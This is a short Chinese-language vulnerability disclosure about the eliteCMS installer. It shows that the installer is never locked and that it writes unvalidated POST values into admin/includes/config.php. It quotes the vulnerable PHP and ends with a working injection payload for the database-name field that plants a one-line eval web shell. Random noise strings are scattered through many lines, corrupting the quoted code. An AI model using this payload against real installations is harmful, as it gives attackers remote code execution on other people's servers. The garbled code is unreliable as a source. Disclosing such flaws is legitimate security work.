eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

& b6 ?! e+ @! [! Y5 h另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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...
elseif ($_GET['step'] == "4") {
- |6 ~0 O8 _) }8 ]$ @' A' E    $file = "../admin/includes/config.php";
    $write = "<?php\n";
1 e7 }3 C: U! B: Y4 n  O/ b    $write .= "/**\n";
    $write .= "*\n";
, ~" Y5 m6 W! _- r% k; d    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
% @1 m5 A" Q4 m  i  L/ j- f...略...
/ Y( r; k; x/ F1 [    $write .= "*\n";
1 |# ]9 w1 h3 S* T; {0 \    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
' t) D  \' \# w$ s! g% O: S    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
4 [' W+ b2 j% w3 D6 W8 k& L    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
! i3 n$ s2 A/ k- y    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
! t$ x) j: q5 c6 c$ s; E    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
5 r6 e# ~6 _$ v& @4 H  I5 q4 e+ S    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 _1 \$ E: P7 |, f* p    $write .= "if (!\$db_select) {\n";
+ u  ]5 J5 z( S- ~" u: t8 |    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

1 g; p3 K: S( Z) N6 H" Y    $writer = fopen($file, 'w');
# R; ?4 }" l3 P...
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  N1 f# n* j7 O; a在看代码：
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$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
' z+ v" \0 h# F" ^$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
/ o. B& l+ V3 O4 |% Y9 w$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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8 U4 D* ^9 D6 M0 E取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
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将导致一句话后门写入/admin/includes/config.php